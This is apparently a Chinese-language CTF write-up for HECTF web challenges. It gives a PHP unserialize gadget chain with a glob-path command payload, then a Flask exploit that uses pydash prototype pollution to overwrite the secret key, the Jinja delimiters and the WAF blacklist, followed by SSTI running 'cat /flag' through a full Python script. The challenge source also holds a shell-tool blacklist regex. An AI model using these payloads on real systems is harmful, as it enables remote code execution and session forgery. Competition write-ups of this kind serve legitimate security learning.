Are u happy
直接搜HECTF{编码后的字符串就行.
baby_sql
sqlmap一把梭,说是有waf试了半天实际没有.
baby_unserialize
<?phperror_reporting(0);show_source(__FILE__);
echo "flag in /flag</br>";class User{
public $name;
public $passwd;
public $msg;
public $token = "guest";
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
} public function __wakeup(){
$this->token = "guest";
} public function __destruct(){
if(!$this->check()){
exit(0);
}else{
echo $this->msg;
}
} public function check(){
if ($this->token === "admin"){
return true;
}else{
return false;
}
}}class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$b();
}}class class01{
public $temp = 0;
public $str3;
public $cls; public function __tostring(){
$this->temp = $this->cls->func1();
if ($this->temp === 1){
$this->cls->str1 = $this->str3;
}else{
echo "0";
return "0";
} return "have fun";
}
}class class02{
public $payload;
public function __invoke(){
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
}
}if (isset($_POST["user"])){ $user = unserialize(base64_decode($_POST["user"]));
}else{
exit();
}
一个是要打php5.4去绕过__wakeup
,另外就是绕过waf去RCE.exp如下
<?php
class User{public $msg;public $token = "admin";
}class class00{
}class class01{public $temp = 0;public $str3;public $cls;
}class class02{public $payload;}$a = new User();
$a -> msg = new class01();
$a -> msg -> cls = new class00();
$a -> msg -> str3 = new class02();
$a -> msg -> str3 -> payload = "/bin/[b-d][a-c][s-u] /f[k-m]ag #";
echo serialize($a);
吐槽一下,为什么禁用nl
但是没有/bin/nl
文件
把数改大一下直接就能绕过__wakeup
你一个人专属的进货网站
app.py:
"""
题目描述:w41tm00n第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞你作为w41tm00n的好朋友,同时你也是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。w41tm00n跟你说,他放了一个惊喜在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
"""
import WAF
import os
from flask import Flask, render_template, redirect, request, session,render_template_string
from pydash import set_
#pip install -v pydash==5.1.2app = Flask(__name__)app.secret_key = os.urandom(24)
login = 0
user = None
class Users:def __init__(self, username, password,gender="secret"):self.username = usernameself.password = passwordself.gender = genderself.property = 0self.purchased = 0class Apple:def __init__(self):self.price = 15self.inventory = 1000apple = Apple()def veryfy():if session.get('verify') == "admin":return Trueelse:return False@app.route('/')
def main():if not session.get('username'):return redirect("/login",302)else:return render_template("index.html")@app.route('/login', methods=['GET','POST'])
def login():try:username = request.form['username']password = request.form['password']except KeyError:username = Nonepassword = Noneif username and password:global loginglobal userlogin= 1user = Users(username, password)session['username'] = user.usernamesession['password'] = user.passwordsession['verify'] = "user"return redirect("/",302)else:return render_template('login.html')@app.route('/admin', methods=['GET','POST'])
def admin():if veryfy() == True:render_html = """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>你好admin</title></head><body>当前管理员账户的用户名:%s </br>剩余苹果数量为:%d </br><a href="/stock"><button>重新进或1000苹果</button></a></br><a href="/"><button>主页</button></a></body></html>"""if WAF.waf(user.username):return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>NO,Hacker</title></head><body><script>alert("No,Hacker");location.href = "/login";</script></br></body></html>"""else:return render_template_string(render_html%(user.username,apple.inventory))else:return render_template("admin_false.html")@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():if request.method == 'GET':if login == 1:return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)else:return redirect("/login",302)if request.method == 'POST':try:key = request.form['key']value = request.form['value']except KeyError:key = Nonevalue = Noneif key and value:if key == "username":session["username"] = keyelif key == "password":session["password"] = keyset_(user,key,value)return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)else:return "输入异常!"@app.route("/purchase",methods=['GET','POST'])
def purchase():if request.method == 'GET':return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)if request.method == 'POST':try:count = int(request.form['count'])except KeyError:count = 0if count != 0:if count > apple.inventory:return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>存货不足</title></head><body>存货不足,请等待进货</body><script>alert("存货不足,请等待进货");location.href = "/purchase";</script></html>"""if user.property >= apple.price * count:user.purchased += countapple.inventory -= countuser.property -= apple.price * countreturn render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)else:return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>金额不足</title></head><body>金额不足,请充值</body><script>alert("金额不足,请充值");location.href = "/purchase";</script></html>"""@app.route("/stock", methods=["GET", "POST"])
def stock():if veryfy() == True:apple.inventory = 1000return """<script>location.href = "/admin";</script>"""else:return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>权限不足</title></head><body>权限不足</body><script>alert("权限不足");location.href = "/login";</script></html>"""if __name__ == '__main__':app.run()
WAF.py
blacklist = [xxxxxxxx
]
def waf(strings):for temp in blacklist:if temp in strings:return Trueelse:passreturn False
可以看到在/admin
路由下存在ssti逻辑,但是存在未知waf.而且需要伪造admin的session才能进入/admin
路由.
发现在/setUserInfo
路由下存在函数set_(user,key,value)
.由于存在注释#pip install -v pydash==5.1.2
,查找响应漏洞发现是2024国赛赛题改编.
可以通过设置key为.__init__.__globals__.app.config.SECRET_KEY
,value为123
来修改session秘钥.
改完以后去打ssti,发现这waf防的像孙子似的.最开始发现防了{{}}
和{%%}
,于是打了一手原形链污染jinjia2标识符.
setUserInfo_data = {'key': ".__init__.__globals__.app.jinja_env.variable_start_string",'value': "[["
}response2 = requests.post(setUserInfo_url, data=setUserInfo_data)setUserInfo_data = {'key': ".__init__.__globals__.app.jinja_env.variable_end_string",'value': "]]"
}response3 = requests.post(setUserInfo_url, data=setUserInfo_data)
回头一看发现()
也被禁用了.突然意识到WAF.blacklist
是可以被修改的,如果修改为一个字符串的话不影响for in
遍历.
写成脚本
import requestsurl = '8.153.107.251:32109'
login_url = f'http://{url}/login'
setUserInfo_url = f'http://{url}/setUserInfo'
admin_url = f'http://{url}/admin'username = "[[g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()]]"
password = "lbz"login_data = {'username': username,'password': password
}response0 = requests.post(login_url, data=login_data)setUserInfo_data = {'key': ".__init__.__globals__.app.config.SECRET_KEY",'value': "123"
}response1 = requests.post(setUserInfo_url, data=setUserInfo_data)setUserInfo_data = {'key': ".__init__.__globals__.app.jinja_env.variable_start_string",'value': "[["
}response2 = requests.post(setUserInfo_url, data=setUserInfo_data)setUserInfo_data = {'key': ".__init__.__globals__.app.jinja_env.variable_end_string",'value': "]]"
}response3 = requests.post(setUserInfo_url, data=setUserInfo_data)setUserInfo_data = {'key': ".__init__.__globals__.WAF.blacklist",'value': "%"
}response4 = requests.post(setUserInfo_url, data=setUserInfo_data)session = input("Enter the session cookie: ")
# python3 flask_session_cookie_manager3.py encode -s '123' -t "{'username':'[[g.pop.__globals__.__builtins__.__import__(\'os\').popen(\'cat /flag\').read()]]','password':'lbz','verify':'admin'}"cookies = {'session': session
}response5 = requests.get(admin_url, cookies=cookies)
print(response5.text)
session直接用flask_session_cookie_manager
去伪造就行.